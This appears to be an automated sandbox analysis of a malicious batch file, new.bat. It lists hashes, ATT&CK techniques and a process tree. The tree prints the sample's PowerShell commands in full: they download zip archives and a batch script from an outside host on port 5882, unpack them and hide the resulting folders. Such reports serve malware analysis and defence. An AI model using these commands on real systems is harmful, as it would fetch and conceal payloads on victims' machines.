2a77fe4bf86373a48d28e334441cdd220b19455f0c7db6adb5b191ace9069687

General

Target

new.bat
Size

18.0MB
MD5

5231d885fdda6e0b2bdd6fda0414506c
SHA1

aa2172986b468de81516396a9eebf5e0563deb7c
SHA256

2a77fe4bf86373a48d28e334441cdd220b19455f0c7db6adb5b191ace9069687
SHA512

6731b4a7857c29b6ce7a64467940c00c88361d8b75e58d15e6056fe6e2054f3c8d366f2ffad666f616df1b8d8f1f3b4a41a889920dc351dd88e6a0c79fe1dc6e
SSDEEP

192:n99jkcpKUIvKgOE3zDMKfYpmVx/1E0oUucL1J+addCZIUEt5BrJnXCGvmg5:9aRfYot3J

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2152	powershell.exe
2868	powershell.exe
2516	powershell.exe
2652	powershell.exe
3060	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2860	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2152	powershell.exe
2652	powershell.exe
2868	powershell.exe
2516	powershell.exe
3060	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 2152	2000	cmd.exe	31
PID 2000 wrote to memory of 2152	2000	cmd.exe	31
PID 2000 wrote to memory of 2152	2000	cmd.exe	31
PID 2000 wrote to memory of 2652	2000	cmd.exe	32
PID 2000 wrote to memory of 2652	2000	cmd.exe	32
PID 2000 wrote to memory of 2652	2000	cmd.exe	32
PID 2000 wrote to memory of 2860	2000	cmd.exe	33
PID 2000 wrote to memory of 2860	2000	cmd.exe	33
PID 2000 wrote to memory of 2860	2000	cmd.exe	33
PID 2000 wrote to memory of 2908	2000	cmd.exe	34
PID 2000 wrote to memory of 2908	2000	cmd.exe	34
PID 2000 wrote to memory of 2908	2000	cmd.exe	34
PID 2000 wrote to memory of 2868	2000	cmd.exe	35
PID 2000 wrote to memory of 2868	2000	cmd.exe	35
PID 2000 wrote to memory of 2868	2000	cmd.exe	35
PID 2000 wrote to memory of 2516	2000	cmd.exe	36
PID 2000 wrote to memory of 2516	2000	cmd.exe	36
PID 2000 wrote to memory of 2516	2000	cmd.exe	36
PID 2000 wrote to memory of 3060	2000	cmd.exe	37
PID 2000 wrote to memory of 3060	2000	cmd.exe	37
PID 2000 wrote to memory of 3060	2000	cmd.exe	37
PID 2000 wrote to memory of 1120	2000	cmd.exe	38
PID 2000 wrote to memory of 1120	2000	cmd.exe	38
PID 2000 wrote to memory of 1120	2000	cmd.exe	38

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2908	attrib.exe
1120	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipang.site:5882/DXJS.zip' -OutFile 'C:\Users\Admin\Downloads\DXJS.zip' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\DXJS.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\system32\timeout.exe
  timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
  2⤵
  - Delays execution with timeout.exe
  PID:2860
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\Downloads\Python"
  2⤵
  - Views/modifies file attributes
  PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipang.site:5882/startuppp.bat' -OutFile 'C:\Users\Admin\Downloads\startuppp.bat' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipang.site:5882/FTSP.zip' -OutFile 'C:\Users\Admin\Downloads\FTSP.zip' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\FTSP.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\Downloads\Print"
  2⤵
  - Views/modifies file attributes
  PID:1120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8QTDT2T6IKZIICLV3CH8.temp

Filesize
7KB

MD5
029091b6b909adc4a8880be83fe155ca

SHA1
85f6fdd6aa8fc2426a9c67c95f12059c9447de71

SHA256
7300b2887b88d018dd6abbb0fc54e9039f8c5f026c8abb2ad7cebb6658bdfe61

SHA512
d6bb9f63bb6dc0bc167d3d629eb37b892b2511c23cd042dafdd25e04731a5036d8e344af506ab31c1bdd65cc82d20b50e3f225052a46a73d88f422f2ed77018c

Download Submit
memory/2152-4-0x000007FEF63BE000-0x000007FEF63BF000-memory.dmp

Filesize
4KB

Download
memory/2152-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2152-6-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2152-7-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-9-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-8-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2152-10-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-17-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2652-16-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing